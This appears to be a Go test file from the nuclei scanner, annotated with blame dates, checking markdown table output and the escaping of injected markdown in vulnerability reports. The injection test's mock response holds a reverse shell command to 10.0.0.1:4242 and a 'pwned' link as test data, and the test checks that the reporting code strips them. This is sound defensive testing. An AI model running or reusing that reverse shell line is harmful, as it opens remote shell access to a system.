2021-08-18 18:37:43 +03:00
|
|
|
package format
|
|
|
|
|
|
|
|
|
|
import (
|
2025-03-07 14:45:39 +05:30
|
|
|
"fmt"
|
2021-08-18 18:37:43 +03:00
|
|
|
"strings"
|
|
|
|
|
"testing"
|
|
|
|
|
|
2023-10-17 17:44:13 +05:30
|
|
|
"github.com/projectdiscovery/nuclei/v3/pkg/model"
|
|
|
|
|
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity"
|
|
|
|
|
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/stringslice"
|
2025-03-07 14:45:39 +05:30
|
|
|
"github.com/projectdiscovery/nuclei/v3/pkg/output"
|
2023-10-17 17:44:13 +05:30
|
|
|
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/markdown/util"
|
2024-03-13 02:27:15 +01:00
|
|
|
"github.com/stretchr/testify/require"
|
2021-08-18 18:37:43 +03:00
|
|
|
)
|
|
|
|
|
|
|
|
|
|
func TestToMarkdownTableString(t *testing.T) {
|
|
|
|
|
info := model.Info{
|
|
|
|
|
Name: "Test Template Name",
|
2021-09-03 16:48:39 +03:00
|
|
|
Authors: stringslice.StringSlice{Value: []string{"forgedhallpass", "ice3man"}},
|
2021-08-18 18:37:43 +03:00
|
|
|
Description: "Test description",
|
2021-09-03 16:48:39 +03:00
|
|
|
SeverityHolder: severity.Holder{Severity: severity.High},
|
|
|
|
|
Tags: stringslice.StringSlice{Value: []string{"cve", "misc"}},
|
2023-07-28 10:18:15 -04:00
|
|
|
Reference: stringslice.NewRawStringSlice("reference1"),
|
2022-02-27 22:28:00 +08:00
|
|
|
Metadata: map[string]interface{}{
|
2021-08-18 18:37:43 +03:00
|
|
|
"customDynamicKey1": "customDynamicValue1",
|
|
|
|
|
"customDynamicKey2": "customDynamicValue2",
|
|
|
|
|
},
|
|
|
|
|
}
|
|
|
|
|
|
2023-06-22 14:27:32 +03:00
|
|
|
result := CreateTemplateInfoTable(&info, &util.MarkdownFormatter{})
|
2021-08-18 18:37:43 +03:00
|
|
|
|
2023-06-22 14:27:32 +03:00
|
|
|
expectedOrderedAttributes := `| Key | Value |
|
|
|
|
|
| --- | --- |
|
|
|
|
|
| Name | Test Template Name |
|
2021-08-18 18:37:43 +03:00
|
|
|
| Authors | forgedhallpass, ice3man |
|
|
|
|
|
| Tags | cve, misc |
|
|
|
|
|
| Severity | high |
|
|
|
|
|
| Description | Test description |`
|
|
|
|
|
|
|
|
|
|
expectedDynamicAttributes := []string{
|
|
|
|
|
"| customDynamicKey1 | customDynamicValue1 |",
|
|
|
|
|
"| customDynamicKey2 | customDynamicValue2 |",
|
|
|
|
|
"", // the expected result ends in a new line (\n)
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
actualAttributeSlice := strings.Split(result, "\n")
|
|
|
|
|
dynamicAttributeIndex := len(actualAttributeSlice) - len(expectedDynamicAttributes)
|
2024-03-13 02:27:15 +01:00
|
|
|
require.Equal(t, strings.Split(expectedOrderedAttributes, "\n"), actualAttributeSlice[:dynamicAttributeIndex]) // the first part of the result is ordered
|
|
|
|
|
require.ElementsMatch(t, expectedDynamicAttributes, actualAttributeSlice[dynamicAttributeIndex:]) // dynamic parameters are not ordered
|
2021-08-18 18:37:43 +03:00
|
|
|
}
|
2025-03-07 14:45:39 +05:30
|
|
|
|
|
|
|
|
func TestCreateReportDescription_MarkdownInjection(t *testing.T) {
|
|
|
|
|
// Setup a mock result event with malicious payload in various fields
|
|
|
|
|
event := &output.ResultEvent{
|
|
|
|
|
TemplateID: "test-template",
|
|
|
|
|
Host: "example.com",
|
|
|
|
|
Matched: "https://example.com/vulnerable",
|
|
|
|
|
Type: "http",
|
|
|
|
|
Info: model.Info{
|
|
|
|
|
Name: "Test Template",
|
|
|
|
|
Authors: stringslice.StringSlice{Value: []string{"researcher"}},
|
|
|
|
|
SeverityHolder: severity.Holder{Severity: severity.High},
|
|
|
|
|
Tags: stringslice.StringSlice{Value: []string{"test"}},
|
|
|
|
|
},
|
|
|
|
|
Request: "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n",
|
|
|
|
|
Response: "HTTP/1.1 200 OK\r\nContent-Type: text/html\r\n\r\n<html><body>Hello, world\r\n\r\n```\r\n\r\nReferences:\r\n- https://rce.ee/pwned\r\n\r\n**CURL command**\r\n```sh\r\nbash -i >& /dev/tcp/10.0.0.1/4242 0>&1\r\n```\r\n</body></html>",
|
|
|
|
|
CURLCommand: "curl -X GET https://example.com",
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
result := CreateReportDescription(event, &util.MarkdownFormatter{}, false)
|
|
|
|
|
fmt.Println(result)
|
|
|
|
|
|
|
|
|
|
require.NotContains(t, result, "```\r\n\r\nReferences:\r\n- https://rce.ee/pwned")
|
|
|
|
|
require.NotContains(t, result, "```sh\r\nbash -i >& /dev/tcp")
|
|
|
|
|
}
|
